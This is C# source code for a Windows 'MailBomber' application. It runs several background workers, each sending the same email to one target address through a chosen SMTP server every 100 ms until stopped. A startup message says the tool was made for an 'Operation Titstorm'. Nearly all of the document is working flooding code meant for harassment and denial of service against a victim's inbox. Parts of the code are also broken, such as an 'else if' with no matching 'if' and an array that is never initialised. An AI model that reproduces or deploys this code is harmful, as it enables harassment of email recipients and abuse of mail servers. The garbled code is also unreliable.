/*
* Form1.cs code behind the form
*/
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace MailBomber
{
public partial class TheForm : Form
{
private static Bomber[] bomb;
public TheForm()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
// BombTheMail(txtFrom.Text, txtTo.Text, txtSubject.Text, txtBody.Text, txtServer.Text, txtPort.Text, AuthCheckBox.Checked, txtUsername.Text, txtPassword.Text);
if (btnBomb.Text == "Commence Dah Bombing!")
{
StatTimer.Enabled = true;
try
{
if (String.IsNullOrEmpty(txtFrom.Text) || String.Equals(txtFrom.Text, "N O N E !"))
throw new Exception
("no From address... thats smert!");
if (String.IsNullOrEmpty(txtTo.Text) || String.Equals(txtTo.Text, "N O N E !"))
throw new Exception
("no To address... thats smert!");
if (String.IsNullOrEmpty(txtBody.Text) || String.Equals(txtBody.Text, "N O N E !"))
throw new Exception
("no Body... thats smert!");
if (String.IsNullOrEmpty(txtServer.Text) || String.Equals(txtServer.Text, "N O N E !"))
throw new Exception
("no SMTP server address... thats smert!");
if (String.IsNullOrEmpty(txtPort.Text) || String.Equals(txtPort.Text, "N O N E !"))
throw new Exception
("no Port... thats smert!");
if (String.IsNullOrEmpty(txtUsername.Text) || String.Equals(txtUsername.Text, "N O N E !"))
throw new Exception
("no Username... thats smert!");
if (String.IsNullOrEmpty(txtPassword.Text) || String.Equals(txtPassword.Text, "N O N E !"))
throw new Exception
("no Password... thats smert!");
}
catch (Exception ex) { MessageBox.Show(ex.Message, "What the shit."); return; }
btnBomb.Text = "Stop dropping dese Bombs!";
for (int a = 0; a < bomb.Length; a++)
{
bomb
[a
] = new Bomber
(txtFrom.
Text, txtTo.
Text, txtSubject.
Text, txtBody.
Text, txtServer.
Text, txtPort.
Text, AuthCheckBox.
Checked, txtUsername.
Text, txtPassword.
Text);
bomb[a].Start();
}
}
else
{
btnBomb.Text = "Commence Dah Bombing!";
if (bomb != null)
{
for (int a = 0; a < bomb.Length; a++)
{
bomb[a].IsFlooding = false;
}
}
StatTimer.Enabled = false;
}
if (StatTimer.Enabled == false)
{
lstError.Hide();
}
}
private void AuthCheckBox_CheckedChanged(object sender, EventArgs e)
{
txtUsername.Enabled = true;
txtPassword.Enabled = true;
}
else if (AuthCheckBox.
Checked == false)
{
txtUsername.Enabled = false;
txtPassword.Enabled = false;
}
}
private void Form1_Load(object sender, EventArgs e)
{
AuthCheckBox_CheckedChanged(sender, e);
MessageBox.Show("Just a little MailBomber, made for Operation Titstorm by Anon\n\nUse it wisely", "A Welcome Message");
lstError.Hide();
}
private void StatTimer_Tick(object sender, EventArgs e)
{
int win = 0;
int fail = 0;
int count = 0;
for(int i = 0; i < bomb.Length; i++) {
count += bomb[i].FloodCount;
win += bomb[i].iWin;
fail += bomb[i].iFail;
if (!String.IsNullOrEmpty(bomb[i].Error))
lstError.Items.Add(bomb[i].Error);
}
lblWin.Text = win.ToString();
lblFail.Text = fail.ToString();
lblCount.Text = count.ToString();
if (fail > 5)
{
lstError.Show();
}
else
{
lstError.Items.Clear();
lstError.Hide();
}
}
}
}
/*
* Bomber.cs threaded bomber class
*/
using System;
using System.Net.Sockets;
using System.ComponentModel;
using System.Net.Mail;
using System.Windows.Forms;
namespace MailBomber
{
public class Bomber
{
public bool IsFlooding { get; set; }
public int FloodCount { get; set; }
public string Data { get; set; }
public string From { get; set; }
public string To { get; set; }
public string Subject { get; set; }
public string Body { get; set; }
public string Server { get; set; }
public string Port { get; set; }
public bool UseAuth { get; set; }
public string Username { get; set; }
public string Password { get; set; }
public int iWin { get; set; }
public int iFail { get; set; }
public string Error { get; set; }
public Bomber(string from, string to, string subject, string body, string server, string port, bool useauth, string username, string password)
{
this.From = from;
this.To = to;
this.Subject = subject;
this.Body = body;
this.Server = server;
this.Port = port;
this.UseAuth = useauth;
this.Username = username;
this.Password = password;
}
public void Start()
{
IsFlooding = true;
var bw
= new BackgroundWorker
();
bw.
DoWork += new DoWorkEventHandler
(bw_DoWork
);
bw.RunWorkerAsync();
}
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
while (IsFlooding)
{
FloodCount++;
BombTheMail(From, To, Subject, Body, Server, Port, UseAuth, Username, Password);
System.Threading.Thread.Sleep(100);
}
}
catch { }
}
/// <summary>
/// Method to send mails via Smtp
/// </summary>
/// <param name="args[0]">From</param>
/// <param name="args[1]">To</param>
/// <param name="args[2]">Subject</param>
/// <param name="args[3]">Body</param>
/// <param name="args[4]">Host</param>
/// <param name="args[5]">Port</param>
/// <param name="args[6]">User</param>
/// <param name="args[7]">Password</param>
public void BombTheMail(string From, string To, string Subject, string Body, string Server, string Port, bool UseAuth, string Username, string Password)
{
try
{
// TODO: Add error handling for invalid arguments
// To
MailMessage mailMsg
= new MailMessage
();
mailMsg.To.Add(To);
// From
MailAddress mailAddress
= new MailAddress
(From
);
mailMsg.From = mailAddress;
// Subject and Body
mailMsg.Subject = Subject;
mailMsg.Body = Body;
// Init SmtpClient and send
SmtpClient smtpClient
= new SmtpClient
(Server, Convert.
ToInt32(Port
));
if (UseAuth)
{
System.Net.
NetworkCredential credentials
= new System.Net.
NetworkCredential(Username, Password
);
smtpClient.Credentials = credentials;
}
smtpClient.Send(mailMsg);
}
catch (Exception ex)
{
//MessageBox.Show(ex.Message);
Error = ex.Message;
iFail++;
}
}
}
}